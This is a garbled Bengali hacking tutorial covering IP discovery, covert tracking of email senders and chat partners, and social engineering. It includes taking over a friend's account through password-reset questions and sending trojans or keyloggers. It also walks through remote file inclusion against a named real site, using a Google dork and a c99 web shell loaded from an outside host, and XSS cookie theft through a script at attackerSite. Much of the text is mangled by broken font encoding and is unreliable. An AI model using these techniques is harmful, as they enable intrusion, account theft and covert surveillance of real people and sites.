httpwwwethicalhackernethttpinsecureorghttphackerresourcezcomhttpwwwcertifiedethicalhackercomhttpwwwelitehacknethttpwwwelite-hackerscomhttpwwwexploit-

dbcomhttpwww1337daycomhttpwwwbreakthesecuritycomhttpwwwthehackerslibrarycomhttpwwwport7alliancecomhttpwwwhackersnlhttphackmeintripodcomhttpkyrionhackingtutorialscomhttp

wwwhacking-gurusnethttphackmyasswordpresscomhttpwwwborntohackinhttpwwwcriticalsecuritynethttpww

wmpghnethttpwwwduniapasswordcomhttpwwwprogamercitynetযাকায

ভকতব

কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ

TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE

CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)

VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)

JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)

কতরচছখচছছনঃ সভচছকতদ াান

যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক

IP Address কতক এফং তায খটিনাটী

IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address

র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয

IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ

1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন

2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version

যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network

ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক

অনায কতনচছজয অআকত এচছে সদখা

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom

একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ

ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23

নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ

সকান চছযফাআচছটয অআকত সফয কযায কতনযভ

মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন

হচছয ফযাখযা

মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom

তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

